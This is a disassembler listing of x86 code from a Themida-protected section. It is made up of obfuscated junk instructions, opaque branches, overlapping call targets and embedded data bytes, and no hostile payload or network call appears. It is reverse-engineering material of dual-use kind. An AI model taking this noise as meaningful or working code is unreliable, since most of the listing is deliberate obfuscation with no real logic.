		db 0E5h, 0FDh
; ---------------------------------------------------------------------------


loc_6054FE:				; CODE XREF: Themida_:006054E8j
		ja	loc_60550A
		pusha
		mov	ebx, eax
		mov	eax, edx
		popa


loc_60550A:				; CODE XREF: Themida_:loc_6054FEj
		add	al, 0FEh
		mov	bl, 5Dh
		cmc
		movsx	edx, ax
		pusha
		jmp	loc_605523
; ---------------------------------------------------------------------------
		db 71h,	0A8h, 0DCh
		dd 2B255D79h
		db 0B9h, 0DAh, 0Dh
; ---------------------------------------------------------------------------


loc_605523:				; CODE XREF: Themida_:00605514j
		popa
		call	near ptr loc_605536+4
		call	far ptr	0E988h:0B999442Bh
		db	64h
		mov	ebx, 6687C846h


loc_605536:				; CODE XREF: Themida_:00605524p
		sub	[ecx+58531CA3h], ch
		pop	ecx
		clc
		movsx	esi, bx
		sbb	bh, 0E7h
		cld
		mov	si, dx
		mov	di, 0F2F0h
		clc
		jmp	loc_60555E
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0CEh
		dd 5576D0E4h, 8B7E2339h
		db 0DDh, 40h
; ---------------------------------------------------------------------------


loc_60555E:				; CODE XREF: Themida_:0060554Dj
		mov	dx, bx
		sbb	eax, 3780C935h
		mov	edi, 7444FA74h
		push	ebx
		jmp	loc_605577
; ---------------------------------------------------------------------------
		lds	ebp, [esi-0Dh]
		sbb	bl, cl


loc_605577:				; CODE XREF: Themida_:0060556Dj
		pop	ecx
		jo	loc_605584
		or	edi, 69F6944Ch


loc_605584:				; CODE XREF: Themida_:00605578j
		or	bx, 0C524h
		mov	edx, esi
		adc	edi, 17671D1Eh
		jmp	loc_6055A5
; ---------------------------------------------------------------------------
		dw 0D6ACh
		dd 480425ECh, 952189D2h, 77C2A0B2h
; ---------------------------------------------------------------------------
		inc	esi


loc_6055A5:				; CODE XREF: Themida_:00605591j
		mov	ah, 44h
		mov	ecx, eax
		movzx	ebx, si
		push	eax
		pop	eax
		jg	loc_6055C5
		jmp	loc_6055C5
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 37EEh
		dd 0E106FB9Dh, 0EB9C8B2Fh
		db 8Dh
; ---------------------------------------------------------------------------


loc_6055C5:				; CODE XREF: Themida_:006055AEj
					; Themida_:006055B4j
		mov	dh, 7Dh
		xor	ebx, 6953137Ah
		mov	cx, 4AC1h
		pusha
		mov	dx, 0DB99h
		pusha
		jnb	$+6
		jmp	loc_6055EF
; ---------------------------------------------------------------------------
		dw 0F648h
		dd 0F5AE3683h, 0F2DC0B2Eh
		db 0E9h, 6Eh, 8Fh
; ---------------------------------------------------------------------------


loc_6055EF:				; CODE XREF: Themida_:006055DDj
		popa
		popa
		xor	bx, 0FC51h
		pusha
		jmp	loc_60560F
; ---------------------------------------------------------------------------
		dd 5FD8F8A6h, 0EA9A0596h, 0C0419F8Ah, 30954F37h
		db 53h,	7Ah, 64h
; ---------------------------------------------------------------------------


loc_60560F:				; CODE XREF: Themida_:006055F7j
		mov	si, ax
		popa
		jb	loc_605625
		jnz	loc_605625
		jns	$+6


loc_605625:				; CODE XREF: Themida_:00605613j
					; Themida_:00605619j
		jmp	loc_60563D
; ---------------------------------------------------------------------------
		test	[ebx], esp
		push	0FFFFFFAAh
		add	edx, ds:0F3275EFBh
		popf
		pop	ds
		sub	eax, 8DBE34C8h
		xchg	eax, esi
		pop	ebx


loc_60563D:				; CODE XREF: Themida_:loc_605625j
		mov	bh, 2Ch
		mov	cx, 2295h
		mov	ebx, esi
		cld
		mov	ebx, 7889AFDDh
		mov	esi, 2811AB2Ch
		cld
		mov	di, si
		jmp	loc_605669
; ---------------------------------------------------------------------------
		db 2Ah,	0BBh, 0DCh
		dd 0D6E37482h, 839A1449h, 4D60347Ah
		db 80h
; ---------------------------------------------------------------------------


loc_605669:				; CODE XREF: Themida_:00605654j
		push	eax
		mov	di, 751h
		pop	ecx
		pusha
		xor	bl, 0B4h
		call	near ptr loc_60567E+1
		pop	ebp
		xor	[ebx], ch
		sbb	ah, [ecx]
		inc	eax


loc_60567E:				; CODE XREF: Themida_:00605673p
		test	[eax+5Eh], edx
		pop	eax
		popa
		and	ch, 0BAh
		mov	bl, ah
		adc	eax, 756F138Bh
		cmc
		and	ax, 0AD96h
		cld
		jmp	loc_6056AC
; ---------------------------------------------------------------------------
		dw 5270h
		dd 0A4E713h, 9040A6C6h,	0CE248E0Bh, 0F34D25C7h
; ---------------------------------------------------------------------------


loc_6056AC:				; CODE XREF: Themida_:00605695j
		mov	bl, 7Eh
		movsx	ecx, cx
		movsx	esi, ax
		mov	eax, ecx
		mov	esi, 5D6F1984h
		mov	ebx, edx
		clc
		push	esi
		mov	al, 3Bh
		pop	esi
		movsx	eax, dx
		jmp	loc_6056DB
; ---------------------------------------------------------------------------
		dw 0D985h
		dd 977F4471h, 63BB2F91h, 9F3C2C19h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		xchg	ch, [edi]


loc_6056DB:				; CODE XREF: Themida_:006056C5j
		sub	ch, 88h
		jmp	loc_6056EE
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0E83462C8h, 3FB310A1h
		db 0D7h, 76h
; ---------------------------------------------------------------------------


loc_6056EE:				; CODE XREF: Themida_:006056DEj
		movzx	eax, bx
		pusha
		jmp	loc_605705
; ---------------------------------------------------------------------------
		db 55h
		dd 9E657F62h, 4A3F7000h, 0BEE8F3Bh
		db 1Ch
; ---------------------------------------------------------------------------


loc_605705:				; CODE XREF: Themida_:006056F2j
		call	sub_60571B
		jp	short loc_605773
		mov	ah, 0EEh
		mov	ds:0E8ED512h, al
		inc	ebx
		jbe	short loc_60572C
		mov	[edi+ebp-64h], bl
		das

; =============== S U B	R O U T	I N E =======================================



sub_60571B	proc near		; CODE XREF: Themida_:loc_605705p
		cld
		pop	esi
		popa
		clc
		mov	bx, 785Ah
		pusha
		popa
		mov	ah, 25h
		pusha
		push	ebx
		push	edi
		pop	eax
		pop	edi


loc_60572C:				; CODE XREF: Themida_:00605714j
		pusha
		pusha
		popa
		push	edx
		pop	esi
		popa
		popa
		adc	dl, 0EAh
		xor	ecx, 298118CCh
		movsx	esi, ax		; CODE XREF: sub_60571B+2Fj
		pusha
		mov	cx, 0D645h
		call	loc_605754
		cld
		jnb	short near ptr loc_60573C+2
		mov	byte ptr [eax-36333125h], 43h
		pop	ebx
sub_60571B	endp ; sp-analysis failed



loc_605754:				; CODE XREF: sub_60571B+29p
		mov	ebx, 63D77208h
		pop	edi
		popa
		jmp	loc_605765
; ---------------------------------------------------------------------------
		dd 3CA15C3Ah
		db 22h
; ---------------------------------------------------------------------------


loc_605765:				; CODE XREF: Themida_:0060575Bj
		adc	ebx, 6ECE571Bh
		push	edx
		jmp	near ptr loc_60577B+5
; ---------------------------------------------------------------------------
		db 0Dh,	0A9h
; ---------------------------------------------------------------------------


loc_605773:				; CODE XREF: Themida_:0060570Aj
		sahf
		cmp	al, 11h
		xchg	eax, esp
		cld
		stc
		outsb
		lahf


loc_60577B:				; CODE XREF: Themida_:0060576Cj
		lds	edx, [ebx+5EE7AA56h]
		cmc
		mov	cl, 0F1h
		mov	si, 40C1h
		xor	cx, 746Dh
		and	ecx, 15A0484Eh
		jmp	loc_6057A0
; ---------------------------------------------------------------------------
		dec	edx
		mov	dword ptr [ecx-34h], 2AD9ECEAh


loc_6057A0:				; CODE XREF: Themida_:00605793j
		mov	di, 0C262h
		cld
		mov	ebx, 77432E1Eh
		xor	bx, 0E00Bh
		movsx	eax, cx
		or	ecx, 34E5A8B7h
		jo	loc_6057C4
		or	edi, 3138DD75h


loc_6057C4:				; CODE XREF: Themida_:006057B8j
		mov	dx, di
		sbb	ecx, 60EF4CDBh
		xor	bh, 7Ch
		mov	ecx, edx
		jmp	loc_6057E1
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0C02E28B5h, 0B5ED281Ah
; ---------------------------------------------------------------------------
		inc	ebx


loc_6057E1:				; CODE XREF: Themida_:006057D2j
		adc	edx, 16763BD5h
		or	bx, 6F58h
		movsx	eax, dx
		push	edi
		mov	si, 5A9Fh
		pop	edx
		mov	eax, ebx
		jnb	loc_605802
		or	cx, 0F709h


loc_605802:				; CODE XREF: Themida_:006057F7j
		mov	bl, 8
		call	near ptr loc_605819+3
		movsb
		dec	ecx
		mov	edx, 7F6A66E9h
		mov	ebp, 81ABE7A0h
		jge	short near ptr loc_60587C+4
		jnz	short loc_605857


loc_605819:				; CODE XREF: Themida_:00605804p
		or	eax, 0DA8B2465h
		pop	ecx
		mov	bl, 55h
		mov	edx, 6D9193DDh
		jo	loc_605832
		push	edx
		mov	cx, 7C6Fh	; CODE XREF: Themida_:00605883j
		pop	ecx


loc_605832:				; CODE XREF: Themida_:00605826j
		push	edx
		pop	ebx
		mov	esi, 29DCF0EBh
		push	edi
		mov	edi, 3066577h
		pop	eax
		js	loc_60585E
		jmp	loc_60585E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0C70C6F1Dh, 94D5E003h
; ---------------------------------------------------------------------------
		push	eax
		xlat
		popa


loc_605857:				; CODE XREF: Themida_:00605817j
		cld
		mov	ah, 2Dh
		jg	short near ptr loc_60585E+4
		jge	short near ptr loc_605864+2


loc_60585E:				; CODE XREF: Themida_:00605840j
					; Themida_:00605846j ...
		jle	loc_605867


loc_605864:				; CODE XREF: Themida_:0060585Cj
		movsx	ecx, dx


loc_605867:				; CODE XREF: Themida_:loc_60585Ej
		jno	loc_605871
		mov	ax, 4DCCh


loc_605871:				; CODE XREF: Themida_:loc_605867j
		jle	loc_6058A0
		call	near ptr loc_605885+1


loc_60587C:				; CODE XREF: Themida_:00605815j
		mov	esi, 50234BFCh
		or	al, 0F6h
		jg	short near ptr loc_60582D+1


loc_605885:				; CODE XREF: Themida_:00605877p
		sbb	cl, ch
		adc	al, 0
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Ah
		dd 0EAEC132h, 0CAD25BA3h, 75A6B58Eh, 1F64CDE5h,	59270E6Ah
; ---------------------------------------------------------------------------


loc_6058A0:				; CODE XREF: Themida_:loc_605871j
		mov	edi, esi
		pusha
		cmc
		jmp	loc_6058B4
; ---------------------------------------------------------------------------
		db 1Fh,	0CCh, 48h
		dd 0C51CA60Ah, 7043F0B2h
; ---------------------------------------------------------------------------


loc_6058B4:				; CODE XREF: Themida_:006058A4j
		popa
		jnz	loc_6058BC
		cmc


loc_6058BC:				; CODE XREF: Themida_:006058B5j
		mov	esi, edi
		mov	si, bx
		ja	loc_6058CA
		or	dl, 8Eh


loc_6058CA:				; CODE XREF: Themida_:006058C1j
		movzx	edi, cx
		mov	dx, si
		mov	cx, 0ECA7h
		cmc
		mov	edi, 2BC47537h
		movsx	ecx, cx
		movsx	ecx, ax
		jmp	loc_6058F9
; ---------------------------------------------------------------------------
		db 5, 9, 0
		dd 31D7E0F5h, 0CBF29632h, 5BDAB75Eh, 95F7D04Bh
		db 0A8h
; ---------------------------------------------------------------------------


loc_6058F9:				; CODE XREF: Themida_:006058E0j
		stc
		jmp	loc_605905
; ---------------------------------------------------------------------------
		db 0EAh
		dd 3483BCCFh
		db 8Bh
; ---------------------------------------------------------------------------


loc_605905:				; CODE XREF: Themida_:006058FAj
		ja	loc_60591F
		jmp	loc_60591F
; ---------------------------------------------------------------------------
		dd 3E9EDBF0h, 2FA5F760h, 0DB69ABCFh
		db 0E1h, 6Ah, 0D0h
; ---------------------------------------------------------------------------


loc_60591F:				; CODE XREF: Themida_:loc_605905j
					; Themida_:0060590Bj
		jmp	loc_605934
; ---------------------------------------------------------------------------
		dd 0CCD36315h, 59CBB35Ch, 0F186BD9Dh, 692BB5C5h
; ---------------------------------------------------------------------------


loc_605934:				; CODE XREF: Themida_:loc_60591Fj
		jmp	loc_605944
; ---------------------------------------------------------------------------
		db 0F0h, 0D7h, 81h
		dd 4C0ACEF1h, 1CB2793Bh
; ---------------------------------------------------------------------------


loc_605944:				; CODE XREF: Themida_:loc_605934j
		call	sub_605956
		and	[esi-104444D9h], edx
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
		db 0C5h, 0F7h, 0F0h
byte_605953	db 0DEh			; CODE XREF: sub_605956+4Dj
		db 5Ch,	25h

; =============== S U B	R O U T	I N E =======================================



sub_605956	proc near		; CODE XREF: Themida_:loc_605944p
		ja	loc_605962
		jns	$+6


loc_605962:				; CODE XREF: sub_605956j
		pop	edx
		stc
		push	ecx
		mov	al, 95h
		pop	ebx
		jmp	loc_60597F
; ---------------------------------------------------------------------------
		db 7Bh,	0E0h, 0DDh
		dd 48AC84D7h, 232D50EAh, 37951452h
		db 0Ah,	0Bh, 18h
; ---------------------------------------------------------------------------


loc_60597F:				; CODE XREF: sub_605956+12j
		push	esi
		jmp	loc_60598A
; ---------------------------------------------------------------------------
		db 84h,	67h, 0EEh
		db 0F3h, 9Ah
; ---------------------------------------------------------------------------


loc_60598A:				; CODE XREF: sub_605956+2Aj
		pop	edi
		jno	loc_605999
		jz	loc_605999
		push	esi
		pop	ecx


loc_605999:				; CODE XREF: sub_605956+35j
					; sub_605956+3Bj
		call	near ptr loc_6059AC+5
		push	edx
		loope	loc_6059E4
		rep pop	ecx
		jnz	short near ptr byte_605953
		mov	edx, 823C8108h
		adc	al, 45h


loc_6059AC:				; CODE XREF: sub_605956:loc_605999p
		mov	ds:5FBED968h, ah
sub_605956	endp ; sp-analysis failed

		mov	di, 0EFF7h
		call	sub_6059CF
		lock push es
		pop	eax
		cli
		jmp	far ptr	0F21Ch:25F42B6Ah
; ---------------------------------------------------------------------------
		dw 0A429h
		dd 2EE7EDD2h
		db 25h,	0BEh, 8Ch

; =============== S U B	R O U T	I N E =======================================



sub_6059CF	proc near		; CODE XREF: Themida_:006059B6p

arg_28		= byte ptr  2Ch

; FUNCTION CHUNK AT 006059F9 SIZE 0000001C BYTES

		push	edx
		jbe	$+6
		pop	edx
		pop	edi
		jle	loc_6059F9
		call	near ptr loc_6059F2+3
		pop	es


loc_6059E4:				; CODE XREF: sub_605956+49j
		inc	edi
		out	5Eh, al
		movsb
		or	ecx, eax
		pop	ebx
		sub	[esp+eax*2-0Ch+arg_28],	al
		push	edx
		and	ecx, [ecx]


loc_6059F2:				; CODE XREF: sub_6059CF+Fp
		mov	byte ptr ds:0F6B70F49h,	5Bh
sub_6059CF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_6059CF


loc_6059F9:				; CODE XREF: sub_6059CF+9j
		pusha
		add	esi, 5A1A4271h
		mov	edx, 23C7D64Eh
		popa
		call	sub_605A15
		xchg	eax, esi
		xchg	eax, ebx
		cmp	[ecx], eax
		mov	cl, 65h
		nop
		db	26h
		xor	al, 0Ch
; END OF FUNCTION CHUNK	FOR sub_6059CF

; =============== S U B	R O U T	I N E =======================================



sub_605A15	proc near		; CODE XREF: sub_6059CF+37p
		cmc
		pop	edx
		mov	dx, 1856h
		add	dx, 0ED6Ah
		mov	di, 2EEh
		stc
		jb	loc_605A33
		jbe	loc_605A33
		pusha
		popa


loc_605A33:				; CODE XREF: sub_605A15+10j
					; sub_605A15+16j
		push	esi
		sub	si, 0C4CBh
		pop	esi
		push	edx
		call	near ptr loc_605A4C+4
		bound	esi, ds:8F2A6710h
		db	67h
		mov	bl, 64h
		mov	ch, 0B4h
		movsb


loc_605A4C:				; CODE XREF: sub_605A15+26p
		mov	edi, 0F2375ACh
sub_605A15	endp ; sp-analysis failed

		xchg	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 5E5F0000h, 4761E781h, 0C78104E8h, 3D0D8FAAh,	2EB86660h
		dd 0E9816189h, 4FC309D9h, 0CB8151h, 5E05E531h, 5FBEF681h
		dd 0C88114C8h, 1B7A4AEAh, 816644B0h, 0E95113D3h, 13h, 0E847E9BDh
		dd 14E402BAh, 0EE3729F7h, 0D2C16E83h, 0FDAF888h, 987h
		dd 3880F00h, 80000000h,	0DCBB3DC5h, 0F5C3C6Ah, 5760C3BFh
		dd 0DE9h, 0C8173700h, 2E4639BEh, 0F26C1F56h, 0B95E00D9h
		dd 2607DD76h, 9DD18161h, 50506F71h, 5830Fh, 81660000h
		dd 58F2C5C8h, 816651F9h, 5BDBFAE3h, 870FDA8Bh, 2, 890FB6B2h
		dd 9, 3870Fh, 0F7800000h, 0AE860A7h, 57000000h,	0A244A0Eh
		dd 95A6D57Ah, 0EE8D1h, 0F34E0000h, 4877047Ah, 0CA72ACFh
		dd 482A763Fh, 61FC585Bh, 4521C281h, 840F3BC7h, 2, 13E8C38Bh
		dd 0D4000000h, 8A9D141Ah, 35C57108h, 0C85101D9h, 1BEF4B28h
		dd 0BF0FF721h, 0F5605EDBh, 0CE961F5h, 96000000h, 0E6402C5Dh
		dd 15E65CB1h, 60F2BBC0h, 0E8C0Fh, 9E90000h, 0F7000000h
		dd 793D40A9h, 0BEC9319Ch, 0CAB70F50h, 8A0F6158h, 0
		dd 59F18A52h, 0B0D78BFCh, 0D081663Bh, 0F28BD23Bh, 0FD3B70Fh
		dd 0C8Ah, 68E0F00h, 0F000000h, 8Eh, 0E6816600h,	96BB2335h
		dd 663BCC40h, 6650CA8Bh, 5A8951BFh, 9E9h, 7CEDB900h, 0BB397D51h
		dd 0DA8B1E85h, 9E3CBA66h, 0AB2A2BBEh, 0EF816604h, 8D0FAF0Ah
		dd 3, 66FB8B66h, 0B757CCB8h, 5CB8662Dh,	33BA66E9h, 14E981h
		dd 0E5AC0000h, 4043809Eh, 82BEC357h, 8592FD8Eh,	0FEEF888Fh
		dd 8F0F568Dh, 1, 9FBE66FCh, 0F28B6692h,	0E9F86060h, 0Ah
		dd 0FA52A1DAh, 1E172D3Ch, 0E961968Ch, 0Fh, 359783CDh, 0E63F7C33h
		dd 2F28BCC6h, 617C26C8h, 14E9h,	68FBCF00h, 0CFE6E65Fh
		dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BF0FF8CEh, 8DC081D9h
		dd 0B000B7B4h, 2EE58061h, 18800F50h, 0E9000000h, 13h, 0EB44EDF1h
		dd 34E871B5h, 0ED6DB31Eh, 1A1648A8h, 5FF9E22Eh,	5E9h, 245BBD00h
		dd 860F9845h, 1, 0CE8F8h, 8F0C0000h, 2A227F29h,	5548FD3Ch
		dd 8166659Bh, 594E2DE3h, 0F6816660h, 61FC4E17h,	0BE6650h
		dd 8B66590Fh, 14E8CBh, 5CDD0000h, 0AC372752h, 6FAC79ADh
		dd 64187145h, 0A35E1FB8h, 0BE89AEBh, 32000000h,	0B4FA9AF5h
		dd 39AC03B3h, 595163F4h, 8B665B5Fh, 0FCA8BF8h, 0BF0FD8B7h
		dd 0F18B5FAh, 0CA81DFB7h, 1951AF79h, 56B55357h,	810F5F58h
		dd 0Ch,	68E0Fh,	0F1810000h, 4A411130h, 589B3CB8h, 178A0F47h
		dd 0E9000000h, 12h, 5AE8E707h, 445105E7h, 0E93D30DFh, 7F65D6C7h
		dd 0E8F8220Eh, 0Bh, 0C6ED0B85h,	7272A449h, 6641AAE0h, 0B958F98Bh
		dd 3F64C9E2h, 800Fh, 0BF660000h, 0CF81872Bh, 5EF56352h
		dd 5860Fh, 73BB0000h, 5057045Fh, 2840F5Fh, 8B000000h, 53C080D0h
		dd 57C78B66h, 8B66575Ah, 0C3815BC1h, 6ACF4A0Fh,	0FE9h
		dd 7CE17500h, 6B5652C5h, 1F769AB9h, 0E063E4Ch, 8E960h
		dd 3FCF0000h, 70FEA8D3h, 0E860C32Dh, 0Ch, 0CA438285h, 3FCA0D95h
		dd 0EC762924h, 0CE95Ah,	9D250000h, 0C5FA5591h, 42AF8BC0h
		dd 6161726Eh, 6E9h, 0DD455300h,	0F9FF13EAh, 7E9CB8Ah, 11000000h
		dd 4F66362h, 0AE966E3h,	6E000000h, 0B9913903h, 0FB47C250h
		dd 0E9F560A0h, 0Eh, 0CFE7B40Eh,	0E013A5F3h, 0C081E405h
		dd 66613477h, 0B057F081h, 49FE781h, 0AFBA781Eh,	6655D031h
		dd 0F98BD38Bh, 0FFB8B66h, 830FC2BFh, 6,	3548F281h, 13E815D1h
		dd 0C8000000h, 8CF5D4DFh, 958F48B7h, 2C52CF0h, 5FB33035h
		dd 0E5809E5Bh, 12E959F7h, 0C6000000h, 5BE1FAE9h, 0C889EB88h
		dd 9335F770h, 0A5D607C6h, 14E918h, 78D10000h, 66A88B6Bh
		dd 23A428BBh, 0AEA0AE7Bh, 0D678F6BFh, 0F781E040h, 1B5481C0h
		dd 0E7815060h, 20C001CEh, 0D7BF0F5Eh, 8077B061h, 0D7B11AE4h
		dd 0BEF98B66h, 607FABA0h, 14E9h, 0BF3DD600h, 6C69A28Fh
		dd 47FE6994h, 2F0003A7h, 49997470h, 0EA816685h,	0DE9F225h
		dd 4B000000h, 2495CB1Fh, 95DA318Fh, 36B301Dh, 58C0Fh, 81660000h
		dd 6682F2EBh, 6DDFF281h, 0C28B6660h, 0B1F38A61h, 0CEBF66D3h
		dd 810F26h, 0E9000000h,	11h, 32C067Ch, 51918177h, 99FC2B8h
		dd 2A25527Ah, 0B86660C5h, 850FD526h, 1,	11E961F8h, 0F6000000h
		dd 4F0E420Fh, 2FD68162h, 0FEB068F6h, 3682FC8h, 16870Fh
		dd 0EE80000h, 33000000h, 49BA29C0h, 0BAA70860h,	7DD66F27h
		dd 595F57D8h, 8ACABF0Fh, 2D96B9CEh, 8B667E24h, 2BBA66F8h
		dd 0E6B86673h, 0D8E18195h, 0F5FA51Dh, 38Ah, 0DEDC8000h
		dd 5810Fh, 31BE0000h, 0F414694h, 386h, 5BF55100h, 0F081D5B0h
		dd 639654BAh, 28A0F53h,	0B3000000h, 11E85EA8h, 0C1000000h
		dd 0A5291B0h, 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0F38B6656h
		dd 11E85A5Eh, 4F000000h, 24EA5470h, 0C7E1AE2Ah,	46913C1Eh
		dd 0ABC40B36h, 0CBEB08B8h, 81665A55h, 0E8A5D3EBh, 13h
		dd 1DC679E7h, 8D8AF0A3h, 0CD65CCAAh, 0FCBC9E4h,	0BA90E1C1h
		dd 29897B71h, 28D0F5Ah,	8A000000h, 58C0FF1h, 0BA000000h
		dd 72FDC961h, 183D64BEh, 5E943h, 61EB0000h, 664FD8C8h
		dd 8B66CE8Bh, 5850FD1h,	0BB000000h, 4BB452E4h, 0BE8F98Bh
		dd 94000000h, 0DEDC176Bh, 0B995610h, 0BB539301h, 2C1D9E6Ah
		dd 7E95959h, 0C9000000h, 0FCD22DD9h, 0D681839Fh, 589252F1h
		dd 6651D38Bh, 0E85FFB8Bh, 0Fh, 67D1842Ah, 577E5715h, 0A54B4EE1h
		dd 0E952F03Bh, 0Ah, 9BE2309Eh, 0E8A65E18h, 0F5EF513h, 1682h
		dd 11E900h, 89AD0000h, 0DB2E454Ah, 4D5C062Ch, 7A38CB44h
		dd 0F9F0C21Bh, 0F4C2A7BEh, 665E504Dh, 0FCE35EB9h, 92C0BB66h
		dd 0DE9FCh, 0C3CE0000h,	572814E7h, 0A34E091Bh, 6038751Bh
		dd 606108B2h, 33F4F781h, 61F50826h, 774FBF66h, 66F7BF0Fh
		dd 0E921BBBFh, 5, 0D3DB537Fh, 0FE904h, 9B330000h, 25CD8C6Bh
		dd 0F9E4BDDBh, 0BC9CEE46h, 8B66535Eh, 0EB805EFBh, 128C0FA8h
		dd 60000000h, 0AE8h, 6A952900h,	0AD29B4Ch, 5EFEEE58h, 8BC18A61h
		dd 0E86EBBFEh, 5E948B9h, 0E5000000h, 0B4A2F3Ah,	5E8h, 44782400h
		dd 0F609714h, 8Bh, 0F5F6100h, 583h, 0F0816600h,	13E87D5Bh
		dd 7B000000h, 0F55301CBh, 4947C031h, 0CEFC93ABh, 6ECD776Fh
		dd 0C78AC82Bh, 0C28B605Eh, 58C0Fh, 28B90000h, 61254965h
		dd 0EC18166h, 0EE929h, 0E1E0000h, 0C5B23853h, 0B719DCC8h
		dd 0BE4DFEAFh, 6800F60h, 0F000000h, 86h
		db 0
; ---------------------------------------------------------------------------


loc_6061A5:				; DATA XREF: sub_581EE9:loc_58BF2Ao
		popa
		sbb	eax, 0D7456Bh
		jmp	loc_6061C1
; ---------------------------------------------------------------------------
		db 62h,	0C5h, 0B8h
		dd 26C59896h, 0A4A3B117h, 0F2F669FCh
		db 6Bh
; ---------------------------------------------------------------------------


loc_6061C1:				; CODE XREF: Themida_:006061ACj
		or	dl, 0E1h
		sbb	esi, 5B57878h
		call	sub_6061DD
; ---------------------------------------------------------------------------
		db 5Bh
		dd 77F22A60h, 0D8AB80F6h, 3E7E0C58h
; ---------------------------------------------------------------------------
		inc	eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_6061DD	proc near		; CODE XREF: Themida_:006061CAp
		jmp	sub_6061E9
sub_6061DD	endp

; ---------------------------------------------------------------------------
		dw 92EAh
		dd 337A209Ch
		db 0BBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_6061E9	proc near		; CODE XREF: sub_6061DDj
		pop	ebx
		sub	bx, 3444h
		xor	dx, 7491h
		jnp	loc_606210
		jmp	loc_606210
; ---------------------------------------------------------------------------
		db 8Ah
		dd 5379FA11h, 0ACC38D6Dh, 0D8293EF9h, 0AE9993F6h
; ---------------------------------------------------------------------------


loc_606210:				; CODE XREF: sub_6061E9+Bj
					; sub_6061E9+11j
		jge	loc_606225
		jmp	loc_606225
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF7E2FAEh, 66FD73Eh
		db 0EDh
; ---------------------------------------------------------------------------


loc_606225:				; CODE XREF: sub_6061E9:loc_606210j
					; sub_6061E9+2Dj
		adc	edi, 7DDC93E5h
		or	ecx, 1F34EB93h
		push	ecx
		pop	edi
		jmp	loc_606240
; ---------------------------------------------------------------------------
		dd 214C18C9h, 0C744F902h
; ---------------------------------------------------------------------------


loc_606240:				; CODE XREF: sub_6061E9+4Aj
		ja	loc_606248
		mov	cl, 5


loc_606248:				; CODE XREF: sub_6061E9:loc_606240j
		mov	edx, esi
		jmp	loc_60625E
; ---------------------------------------------------------------------------
		db 25h
		dd 0DE33AF62h, 770B773Dh, 0DF31FA99h
		db 7, 0E9h
; ---------------------------------------------------------------------------


loc_60625E:				; CODE XREF: sub_6061E9+61j
		jle	loc_606269
		push	ebx
		mov	bx, di
		pop	esi


loc_606269:				; CODE XREF: sub_6061E9:loc_60625Ej
		mov	bx, 52E2h
		mov	di, 0E03Ch
		jmp	loc_606289
; ---------------------------------------------------------------------------
		dw 0B0BCh
		dd 0DCED1942h, 0B29BEC8Ch, 64DDC776h, 3AC5D42Fh
		db 0Fh
; ---------------------------------------------------------------------------


loc_606289:				; CODE XREF: sub_6061E9+88j
		cld
		pusha
		mov	esi, edx
		sub	eax, 0BA8C632h
		popa
		xor	bl, 0A2h
		mov	ecx, 16CA6E5Bh
		add	dh, 0EBh
		jb	loc_6062AA
		mov	eax, 33BE8465h


loc_6062AA:				; CODE XREF: sub_6061E9+B6j
		sub	ax, 4BD4h
		movzx	ecx, bx
		jge	loc_6062BE
		sbb	esi, 49DCB25Bh


loc_6062BE:				; CODE XREF: sub_6061E9+C9j
		mov	ah, 0EEh
		mov	eax, edi
		push	eax
		call	near ptr loc_6062CF+5
; ---------------------------------------------------------------------------
		pop	edx
		int	3		; Trap to Debugger
		xor	eax, 0EB7225Ah


loc_6062CF:				; CODE XREF: sub_6061E9+DAp
		jmp	far ptr	5F5Fh:0E913FCA6h
sub_6061E9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jz	loc_6062E0
		mov	si, 941Dh


loc_6062E0:				; CODE XREF: Themida_:006062D6j
		jmp	loc_6062F6
; ---------------------------------------------------------------------------
		db 5Dh,	6Ah, 44h
		dd 3F8EF4FEh, 46FABCD8h, 6AFBC1A9h
; ---------------------------------------------------------------------------
		xor	ah, cl


loc_6062F6:				; CODE XREF: Themida_:loc_6062E0j
		adc	ebx, 530436B3h
		and	edi, 46EC19E0h
		pusha
		push	esi
		jmp	loc_606319
; ---------------------------------------------------------------------------
		db 38h,	1Ah, 70h
		dd 6FC8BE49h, 0A011B041h, 5B1A1EBh
		db 3Bh
; ---------------------------------------------------------------------------


loc_606319:				; CODE XREF: Themida_:00606304j
		pop	ecx
		jns	loc_606325
		or	cx, 7FFCh


loc_606325:				; CODE XREF: Themida_:0060631Aj
		popa
		call	sub_606336
		add	esi, [ecx]
		db	66h
		mov	ds:6646C19Ah, al
		jns	short loc_6063AC
		daa

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_606336	proc near		; CODE XREF: Themida_:00606326p
		jmp	sub_60634C
sub_606336	endp

; ---------------------------------------------------------------------------
		db 3Fh
		dd 553E8DD6h, 37B711B1h, 0E6362BBCh, 0BB75D45Fh

; =============== S U B	R O U T	I N E =======================================



sub_60634C	proc near		; CODE XREF: sub_606336j

; FUNCTION CHUNK AT 006063D3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 006063DC SIZE 0000002C BYTES

		pop	esi
		jmp	loc_606363
; ---------------------------------------------------------------------------
		dw 2F50h
		dd 0CE58EA80h, 0D4CA473h, 0CA8B7D9Bh
		db 0CDh, 3, 0A6h
; ---------------------------------------------------------------------------


loc_606363:				; CODE XREF: sub_60634C+1j
		cld
		mov	si, ax
		push	eax
		jbe	loc_606383
		jmp	loc_606383
; ---------------------------------------------------------------------------
		cmp	al, 0BCh
		jle	short loc_6063E5
		push	esi
		pop	edi
		les	ecx, [edi+1B8ED8D1h]
		mov	dh, 25h
		jbe	short loc_6063D3


loc_606383:				; CODE XREF: sub_60634C+1Cj
					; sub_60634C+22j
		pop	edx
		and	bx, 8914h
		add	ax, 2FC9h
